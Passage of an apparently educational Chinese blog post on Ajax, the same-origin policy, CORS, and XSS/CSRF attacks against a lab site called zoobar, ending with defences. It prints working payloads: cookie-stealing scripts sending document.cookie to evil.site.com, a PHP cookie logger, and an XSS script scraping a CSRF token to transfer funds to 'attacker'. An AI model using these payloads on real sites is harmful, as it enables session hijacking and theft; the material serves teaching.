xss过滤器无法处理ajax请求_Web安全实践:XSS(2)

上次课我们介绍了XSS的基本原理,演示了偷到别人的Cookie。这一节,我们进一步讨论XSS,并且在Ajax的帮助下,完成一个XSS蠕虫。蠕虫的特点是它具有传播性,也即被攻击者除了被攻击之外,自己也会被传染,从而帮助传播攻击。一个著名的XSS蠕虫(也是世界上第一个XSS蠕虫?)的例子是MySpace的Samy Worm,创造了24小时传染百万用户的光辉战绩。

Ajax是啥呢? Ajax的全称是Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。Ajax并不是一门新的语言,使用现有的JS语法。简单地讲,ajax是高配版的JS form。

记得在比较早的时候,没办法在一个页面同时提交两个表单——直接通过点击按钮的方式肯定是不行的,通过JS连续执行两个sumbit都不行,但是这个代码在第二年重新运行的就通过了——最早用这个例子来展示Ajax的优点,后来JS直接写也能做到。


首先要来看看Ajax的基本使用。

AJAX 是一种用于创建快速动态网页的技术。通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。在 2005 年,Google 通过其 Google Suggest 使 AJAX 变得流行起来。Google Suggest 使用 AJAX 创造出动态性极强的 web 界面:当在谷歌的搜索框输入关键字时,JavaScript 会把这些字符发送到服务器,然后服务器会返回一个搜索建议的列表。

我们来看一个例子:

<script type="text/javascript">
function loadXMLDoc(URL)
{
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
    }
  }
xmlhttp.open("GET",URL,true);
xmlhttp.send();
}

function loadXML(URL){
document.location = URL;
}

</script>
</head>

<body>
<div id="myDiv"><h3>Let AJAX change this text</h3></div>
<button type="button" onclick="loadXML('test.txt')">Change Content with raw JS</button>
<br>
<button type="button" onclick="loadXMLDoc('test.txt')">Change Content with Ajax</button>
</body>
                                                                                                                                                     16,1          66%

以上代码中,分别使用原生的JS来获一个文件内容,以及使用Ajax获取内容之后,在原始页面进行更新。

从上面的代码中,我们也能看出Ajax的使用特点。主要是包括三部分,第一,生成XMLHTTPRequest对象;第二,发出请求;第三,处理请求返回的结果。我们一个个来看下。

XMLHttpRequest 是 AJAX 的基础。所有现代浏览器均支持 XMLHttpRequest 对象(IE5 和 IE6 使用 ActiveXObject)。XMLHttpRequest 用于在后台与服务器交换数据。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。

生成XMLHttpRequest对象,一行代码就够了:

xmlhttp=new XMLHttpRequest();

考虑到兼容性,可以对IE6做专门处理。

在生成XMLHTTPREQUEST对象之后,要将请求发送到服务器,使用 XMLHttpRequest 对象的 open() 和 send() 方法:

xmlhttp.open("GET","test1.txt",true);
xmlhttp.send();

这里open函数的三个参数需要注意。

open(method,url,async)规定请求的类型、URL 以及是否异步处理请求。

  • method:请求的类型;GET 或 POST
  • url:文件在服务器上的位置
  • async:true(异步)或 false(同步)

responseText 属性

如果来自服务器的响应并非 XML,请使用 responseText 属性。

responseText 属性返回字符串形式的响应,可以这样使用:

document.getElementById("myDiv").innerHTML=xmlhttp.responseText;

如果来自服务器的响应是 XML,而且需要作为 XML 对象进行解析,请使用 responseXML 属性。

onreadystatechange 事件

当请求被发送到服务器时,我们需要执行一些基于响应的任务。

每当 readyState 改变时,就会触发 onreadystatechange 事件。

readyState 属性存有 XMLHttpRequest 的状态信息。

下面是 XMLHttpRequest 对象的三个重要的属性:

908fd88452d7fb7475bf828df7e12c01.png

我们使用一些例子来比较一下不同参数的含义。从而来体会一下它们的特点。

  1. GET和POST

比较一下的代码。

<html>
<head>
<script type="text/javascript">
function loadXMLDoc()
{
    var xmlhttp;
    if (window.XMLHttpRequest)
    {// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else
    {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    } 
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
       // if (xmlhttp.readyState==4 && xmlhttp.status==0)
        {
            document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
            alert(xmlhttp.responseText);
        }
    }
    xmlhttp.open("GET","1.txt",true);
    
    xmlhttp.send();
}   
</script>
</head>
<body> 

<div id="myDiv"><h2>Let AJAX change this text</h2></div>
     

以上代码是使用GET方式请求文件。过会儿可以把它改成POST来试一下。

40ea579604af80d9306927cfeda071d6.png

点击更改页面内容。

00bace407a4816848c5bf6fda1a6e081.png

多次点击。甚至在修改了1.txt的内容之后,GET方式在一定时间内,是不会真正重新发送请求的,它会优先使用缓存。

98c7ebc8461fe8abbaee427fcc8685d2.png

过了一分钟,再请求,缓存失效。

使用Chrome尝试,也存在同样的问题。

5b2029219471ec0b7f8e9687c1b5b47b.png

POST方式不存在这个问题。

d28ee74069a9b8144710633ceadc3ef2.png

【另外,提醒一下,通过AJAX请求获得的返回值中的<script>代码不会执行。不过在通用的JS框架中,这应该不是问题】

另外,如果希望传递参数。那么,使用GET方式,直接在URL中把参数的值加上就行了;如果使用POST方式,相当于是使用表单传递数据,需要额外地设置HTTP头。然后把参数通过send方法传递出去。

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("fname=Bill&lname=Gates");

2. 同步和异步

<!-- A basic example to demonstrate asynchronous. -->

<html>
<head>
        <script type="text/javascript">
function loadXMLDoc()
{
        var xmlhttp;
        if (window.XMLHttpRequest)
        {// code for IE7+, Firefox, Chrome, Opera, Safari
                xmlhttp=new XMLHttpRequest();
        }
        else
        {// code for IE6, IE5
                xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange=function()
        {
                if (xmlhttp.readyState==4 && xmlhttp.status==200)
                {
                        document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
                }
        }
//      xmlhttp.open("GET","1.php",true);
//      xmlhttp.open("GET","1.php",false);
//      xmlhttp.open("POST","1.php",false);
        xmlhttp.open("POST","1.php",true);
        xmlhttp.send();
}
</script>
</head>
<body >

<div id="myDiv"><h2>Let AJAX change this text</h2></div>
<img src="w3.gif" onload="loadXMLDoc();alert(1);" />
<img src="w3.gif" />

</body>
</html>
                                         

这里的1.php的主要作用就是sleep(10),10秒之后再反应。

<?php
sleep(10);
?>

<html>
  <head>
    <title></title>
  </head>
  <body>
    <form action="" method="get" >
      Symbol: <textarea id="symbol" name="symbol" type="text"> </textarea>
      <br><br>
      <input type="submit" value="Get Quote">
    </form>

    <script>
        document.getElementById('symbol').innerHTML="<?php print("hello");?>";
        </script>
  </body>
</html>

上面这份代码中,使用了四种不同的组合,可以逐个测试一下。在loadXMLDoc()函数执行之后,有一个alert(1);请大家思考,这个对话框弹出的时机与参数的关系。

基本来说,看了这个演示之后,对同步和异步的差别就很清楚了。

另外,需要注意的是,

当使用 async=true 时,请规定在响应处于 onreadystatechange 事件中的就绪状态时执行的函数:

xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
    }
  }
xmlhttp.open("GET","test1.txt",true);
xmlhttp.send();

使用 async=false 时,请不要编写 onreadystatechange 函数 , 把代码放到 send() 语句后面即可:

xmlhttp.open("GET","test1.txt",false);
xmlhttp.send();
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;

3. readystate和status

unction handler()
{
        // only handle loaded requests
        if (xhr.readyState == 4)
        {
                alert(xhr.readyState+"n Loaded, Ready to display!");
                if(xhr.status==200){
                        alert("really ready!");
                        alert(xhr.responseText);
                        document.getElementById("symbol").innerHTML = xhr.responseText;
                }
        }
        else if (xhr.readyState == 3)
                alert(xhr.readyState+"n receiving...");
        else if (xhr.readyState == 2)
                alert(xhr.readyState+"n sent request!");
        else if (xhr.readyState == 1)
                alert(xhr.readyState+"n open() opened!");
        else if (xhr.readyState == 0)
                alert(xhr.readyState+"n Uninitialized!");

}

以及在接收到返回结果,也即readyState为4的情况下,状态的情况:

function handler()
{
        // only handle loaded requests
        if (xhr.readyState == 4)
        {
                if (xhr.status == 200)
                {
                        alert(xhr.status + "nPage Ready!");
                        document.getElementById('symbol').innerHTML = xhr.responseText;
                }
                else if (xhr.status == 404)
                        alert(xhr.status+"nPage not found!");
                else if (xhr.status == 403)
                        alert(xhr.status+"nAccess Denied!");
        }
}

我们来总结强调一下Ajax的几个特性。

  1. 局部更新。仅仅更新数据。
  2. 异步更新,在请求受阻,其他部分的代码可以继续执行。
  3. 接收回复并处理。

使用AJAX精简攻击代码

有了这些概念之后,我们来看一下使用AJAX来完成我们之前的XSS攻击。之前我们可以使用JS创建表单、创建表单中的每个INPUT、然后提交;如果想要同时完成篡改Profile和偷zoobar,那么分别创建两个。代码相对而言就比较长。

接下来,我们来试一下,使用AJAX来完成这个攻击。

<script>
var a = new XMLHttpRequest();
a.open("post","http://www.zoobar.com/index.php",true);
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
a.send("profile_update=i love serena&profile_submit=Save");

</script>

代码量少的多,感觉攻击难度都降低了。

然后我们就想到一个问题,CSRF也能实现篡改Profile和偷Zoobar,那么我们也来使用Ajax完成CSRF吧。

那我们来用Ajax写一下CSRF的攻击代码。

hi, there.
<script>
var a = new XMLHttpRequest();
a.open("post","http://www.zoobar.com/index.php",true);
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
a.send("profile_update=i love serena&profile_submit=Save");

</script>

大家来考虑一下, 这个攻击会不会成功。

首先我们确保普通的方法确实可以攻击成功。

然后再来看一看CSRF确实不能成功。这个代码本身是没有问题的,如果我们把这个代码拷贝到一个用户的profile中,查看一下,用户的profile也会被改变。所以,代码本身没问题。那问题在哪里呢?

我们来查看一下浏览器的Console,结果能发现,跨域请求被拒绝。

4fc8b5c6cce617cb7b424597bbe58007.png

CORB可以参考这篇。

这里我们要介绍一下Web的一个基本的安全准则,SOP(same origin policy)。

同源策略是由Netscape提出的一个著名的安全策略,同源是指,域名,协议,端口相同。不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下,不能读写对方的资源。现在所有支持JavaScript 的浏览器都会使用这个策略。

实际上,这种策略只是一个规范,并不是强制要求,各大厂商的浏览器只是针对同源策略的一种实现。它是浏览器最核心也最基本的安全功能。它为现代广泛依赖于cookie维护用户会话的Web浏览器定义了一个特殊的功能,严格隔离不相关的网站提供的内容,防止客户端数据机密性或完整性丢失。在浏览器中,<script>、<img>、<iframe>、<link>等标签都可以加载跨域资源,而不受同源限制,但浏览器限制了JavaScript的权限使其不能读、写加载的内容。而AJAX已经突破了JS的限制,可以读写加载的内容了。

接下来再看一个例子,在对CSRF的实验中,有同学提出了这么个疑问(csrfframe.html):

虽然CSRF使用了token进行防御,但是我认为还是可以绕过的。因为我发现,在CSRF攻击中我们使用了iframe来防止进行页面跳转,而跳转之后的页面会在iframe中。也就意味着,在用户打开的攻击者的页面上存在token的值。如果防御的CSRF的token的粒度比较粗,譬如用户一次登录期间不会改变,那么攻击者可以在页面上增加一些代码,自动地取出iframe中的页面中的token的值,然后将这个值附加在攻击者构造的表单请求中,从而可以完成攻击。

首先来说,这个思路是完全正确的(包括在后面的XSS绕过CSRF防御也是同样的思路),但是这种做法不会成功。不会成功的原因,浏览器进行了阻止。同样的,是因为同源策略。由于iframe中的网页资源属于http://www.zoobar.com,而攻击者的代码是http://www.attacker.com,因此,攻击者的代码不能访问iframe中的网页资源。

可以写点代码对比一下:

<iframe src="http://www.zoobar.com/1.html" name="f1" style="height:200px;width = 400px;"></iframe>
<iframe src= "http://evil.site.com/1.html" name="f2" style="height:200px;width = 400px;"></iframe>


<script>

alert(window.frames[0].document.getElementById("resource"));
alert(window.frames[1].document.getElementById("resource").innerHTML);

</script>

这里,如果强行在script中的第一行也写上.innerHTML,则浏览器会报错。

8ba77c9f822f1bc30222c1ec703f03c7.png

但是,因为跨域的需求还是很多的,所以人们又在不断的找新方法来绕过这个限制。比较著名的方法有JSONP,CORS。

什么是CORS呢?

“Cross-origin resource sharing (CORS) is a mechanism that allows a web page to make XMLHttpRequests to another domain. Such "cross-domain" requests would otherwise be forbidden by web browsers, per the same origin security policy. CORS defines a way in which the browser and the server can interact to determine whether or not to allow the cross-origin request. It is more powerful than only allowing same-origin requests, but it is more secure than simply allowing all such cross-origin requests.” ----Wikipedia

也就是说,Ajax能不能跨域,主要取决于对方的服务器。服务器如果愿意跨域,那就没问题。那一个希望安全性比较高的网站,可能会拒绝;需要经常跨域交流的网站,可以。

通过在HTTP Header中加入扩展字段,服务器在相应网页头部加入字段表示允许访问的domain和HTTP method,客户端检查自己的域是否在允许列表中,决定是否处理响应。
实现的基础是JavaScript不能够操作HTTP Header。某些浏览器插件实际上是具有这个能力的。

服务器端在HTTP的响应头中加入(页面层次的控制模式):

   Access-Control-Allow-Origin: example.com
   Access-Control-Request-Method: GET, POST
   Access-Control-Allow-Headers: Content-Type, Authorization, Accept, Range, Origin
   Access-Control-Expose-Headers: Content-Range
   Access-Control-Max-Age: 3600

多个域名之间用逗号分隔,表示对所示域名提供跨域访问权限。"*"表示允许所有域名的跨域访问。

我们来看一个例子。

在讲完偷cookie的例子的时候,因为要想偷cookie,我们构造了一个比较麻烦的动态生成的<a>或者<img>,有同学就提出了可不可以使用ajax把cookie直接发送到攻击者网站。

大家来想一下,这样行不行?

我们首先来看下,该怎么写这个代码?

<script>
var pay=new XMLHttpRequest();
url = "http://www.zoobar.com/steal.php?cookie="+document.cookie;
pay.open("get",url,false);
pay.send("");
 
</script>

服务器端可以准备下面的代码:

Steal.php
<?php
header("Access-Control-Allow-Origin:*");
$myfile = fopen("test.txt","w") or die("unable to open");
fwrite($myfile,$_GET["cookie"]);
fclose($myfile);
?>

另外要注意:

1. 只有在使用ajax进行跨域请求的时候,header中才会带上origin。

2. 跨域如果不成功,console中会报错。

3. 如果跨域确实没成功,但是这个不成功不是体现在steal.php(server)有没有收到请求,而且发送方确实也能收到回复;但是请求方(client)不能处理(读取和操作)这个回复。

在steal.php中如果没有

header("Access-Control-Allow-Origin:*");

也能够正常接收cookie并保存;但是在http://zoobar.com,会报错:

c072a31e0c088ab62db2c83f3abf1720.png

加上之后就没有这个错误了。

关于Ajax的跨域问题,还需要注意的一点是,Ajax在跨域的时候不会主动带上cookie。所以,之前我们在构造CSRF的Ajax版本的时候失败,主要的原因是Ajax的跨域访问浏览器就没有自动带上cookie,从而导致本来对index.php页面的访问被自动转到了login页面,而login页面并没有添加跨域的access-control。同时因为没有cookie,所以这个攻击肯定失败。

但是,再一次地,为了满足开发需求,安全做了让步。可以通过在Ajax请求中带上

xhr.withCredentials = true; //支持跨域发送cookies

以及在服务端添加:

header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Origin: http://www.xxx.com");

来绕过这个限制。

在进行这些修改之后,可以看到Ajax版本的CSRF也成功了。

接着体会CSRF和XSS的区别。

现在,我们把CSRF的漏洞防御住。也即,现在使用我们之前的方法来实现CSRF,也同样会失败。

那XSS呢?会不会失败?

之前的代码肯定也不行。因为它缺少一个必要的参数。是不是意味着,如果防御了CSRF,也顺路就把XSS给防御了呢?

我们来看另外一份代码:

<script>
var a = new XMLHttpRequest();
var t,context;
a.onreadystatechange=function(){if(a.readyState==4)
{
 context = (a.responseText);
alert(context.substr(context.indexOf("token")+25,32))
t = context.substr(context.indexOf("token")+25,32);

}
};
a.open("get","transfer.php",false);
a.send()


var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","transfer.php",true);
xmlhttp.setRequestHeader("content-type", "application/x-www-form-urlencoded");

w="zoobars=1&recipient=attacker&submission=Send&token="+t;

xmlhttp.send(w);
</script>

另外,我们来想一下,上面的

a.open("get","transfer.php",false);

能不能把get换成post?能不能把false换成true?

xmlhttp.open("POST","transfer.php",true);

能不能进行替换呢?

XSS的防御

关于xss的防御要明白一点:XSS无处不在。

譬如在user.php页面中的查询框中输入

a'><script>alert(1)</script>

可以看到能够弹出对话框,也就意味着这里存在XSS漏洞。那么按照上面的反射型XSS漏洞利用的构造方法,可以构造这么一个URL:

http://www.zoobar.com/users.php?user=a'><script>(new Image()).src="http://evil.site.com/steal.php?cookie="%2Bdocument.cookie</script>

或者是这样的:

http://www.zoobar.com/users.php?user=a%27%3E%3Cscript%3Evar%20pay=new%20XMLHttpRequest%28%29;url%20=%20%22http://evil.site.com/steal.php?cookie=%22%2Bdocument.cookie;pay.open%28%22get%22,url,false%29;pay.send%28%29;%3C%2Fscript%3E

XSS防御的基本思路是输入过滤,输出转义。

输入过滤比较好理解,可以通过设置白名单或者黑名单,将一些可能造成攻击的标签都过滤;

输出转义,主要是因为输入的恶意代码,如果保存在网站的数据库中,最终都是有一个输出的过程然后才能获得执行。那么就在从数据库取出,并展示在网页之前,对所有的内容进行转义。PHP中htmlentities() 函数把字符转换为 HTML 实体。HTML实体(character entities)的目的是正确地显示预留字符,譬如如果想要在网页上输出<br>,如果直接在HTML中写<br>,浏览器会自动将它当做代码,而不是字符串,此时就需要,将<和>转换为实体,也即&lt; 或 &#60。也即,通过htmlentities,所有的攻击代码,不管怎么构造的,都会被变成普通的字符,而不会造成攻击效果。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值